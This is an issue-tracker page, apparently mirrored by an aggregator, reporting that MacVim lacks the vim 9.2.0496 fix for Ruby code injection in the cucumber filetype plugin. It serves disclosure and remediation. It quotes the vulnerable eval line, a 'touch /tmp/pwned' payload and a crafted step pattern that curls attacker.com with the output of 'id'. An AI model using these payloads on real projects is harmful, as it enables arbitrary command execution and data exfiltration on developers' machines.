macvim-dev / macvim-dev/macvim
[Security] MacVim affected by GHSA-4473-94jm-w5x9 — cucumber filetype plugin Ruby code injection via crafted step patterns (vim < 9.2.0496)
Nadie ha tomado este issue todavía.
- Lenguaje dominante
- Vim Script
- Estrellas
- 7.9k
- Forks
- 691
- Métricas de merge de PR
- Sin PR fusionados en 30 d
Descripción
[Security] MacVim affected by GHSA-4473-94jm-w5x9 — cucumber filetype plugin Ruby code injection via crafted step patterns (vim < 9.2.0496)
Summary
MacVim bundles the vim runtime at version 9.2 (patches 1-321 in the current build), which is
below the patched version 9.2.0496 that fixes a code injection vulnerability in the cucumber
filetype plugin's s:stepmatch() function. MacVim supports Ruby (+ruby), making it
susceptible to this attack.
Vulnerability Details
- GHSA: GHSA-4473-94jm-w5x9
- Upstream fix: vim 9.2.0496 (commit
a65a52d684bc58535ad28a4ae824d22e76399934) - Affected code:
runtime/ftplugin/cucumber.vim—s:stepmatch()function - Vulnerability type: CWE-94 — Improper Control of Generation of Code (Code Injection)
Root Cause
In s:stepmatch(), when Vimscript's built-in pattern matching fails, the function falls back
to using Ruby's Kernel.eval() to evaluate a regex constructed from an attacker-controlled
pattern:
" runtime/ftplugin/cucumber.vim lines 98-99 (macvim r183)
if has("ruby") && pattern !~ '\\\@<!#{'
ruby VIM.command("return #{if (begin; Kernel.eval('/'+VIM.evaluate('pattern')+'/'); rescue SyntaxError; end) === VIM.evaluate('a:target') then 1 else 0 end}")
The pattern variable is derived from step-definition strings in .rb files in the
project (via s:allsteps()). If a step definition file contains a pattern like:
/) + system('touch /tmp/pwned') + (/
then Kernel.eval('/'+pattern+'/') becomes:
Kernel.eval('//) + system('touch /tmp/pwned') + (//')
The rescue SyntaxError guard only prevents a crash; it does not prevent execution of valid
Ruby expressions. An attacker can craft patterns that both execute arbitrary Ruby and are
syntactically valid.
The !~ '\\\@<!#{' check only guards against Ruby string interpolation (#{...}) and does
not protect against regex literal injection.
Attack Scenario
- An attacker places a malicious
.rbstep-definitions file in the project's
features/step_definitions/directory with a crafted step pattern:Given(/\/) + system('curl http://attacker.com/?$(id)') + (\// ) do end - The victim opens a
.featurefile in MacVim (which has+ruby) and uses the
[dor]dstep-jump mappings that calls:steps()→s:stepmatch(). Kernel.evalexecutes the injected Ruby expression, runningsystem()with
arbitrary shell commands.
Affected MacVim Code
" cucumber.vim line 99 (macvim r183)
ruby VIM.command("return #{if (begin; Kernel.eval('/'+VIM.evaluate('pattern')+'/'); rescue SyntaxError; end) === VIM.evaluate('a:target') then 1 else 0 end}")
Affected MacVim Version
MacVim r183 (vim 9.2 patches 1-321) — current HEAD as of 2026-05-18.
The fix commit a65a52d684bc58535ad28a4ae824d22e76399934 from vim/vim is not present
in the macvim-dev/macvim repository.
Suggested Fix
Merge or cherry-pick vim/vim patches up to at least 9.2.0496.
The fix replaces Kernel.eval('/'+pattern+'/') with Regexp.new(pattern), which creates a
regex object directly from the string without evaluating arbitrary Ruby code:
# Fixed (vim 9.2.0496):
ruby VIM.command("return #{if (begin; Regexp.new(VIM.evaluate('pattern')); rescue RegexpError; end) === VIM.evaluate('a:target') then 1 else 0 end}")
Regexp.new() only constructs a regular expression; it cannot execute shell commands or
arbitrary Ruby expressions even if the pattern contains injection attempts.
References
Guía de contribución
Primeros pasos
- Lee el issue completo y luego la guía de contribución del proyecto.
- Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
- Haz un fork del repositorio y trabaja en una rama.
- Abre un pull request que haga referencia al número del issue.
Línea de trabajo
Comienza inspeccionando runtime/ftplugin/cucumber.vim y comparando su implementación de s:stepmatch() con el commit upstream de Vim a65a52d684bc58535ad28a4ae824d22e76399934. Actualiza el runtime incluido para incorporar la corrección de 9.2.0496 y, a continuación, verifica que la ruta vulnerable de Kernel.eval() haya sido reemplazada y que la versión del runtime afectada esté actualizada.
Escrito por el modelo de indexación a partir del texto del issue.
Evaluación
- Stack tecnológico
- ruby, vim
- Área
- desktop-dev, security
- Tipo de issue
- Error
- Dificultad
- 3/5
- Tiempo estimado
- 1-2 días
- Estado de actividad
- Tranquilo
- Claridad
- Bien especificado
- Aptitud para principiantes
- 68/100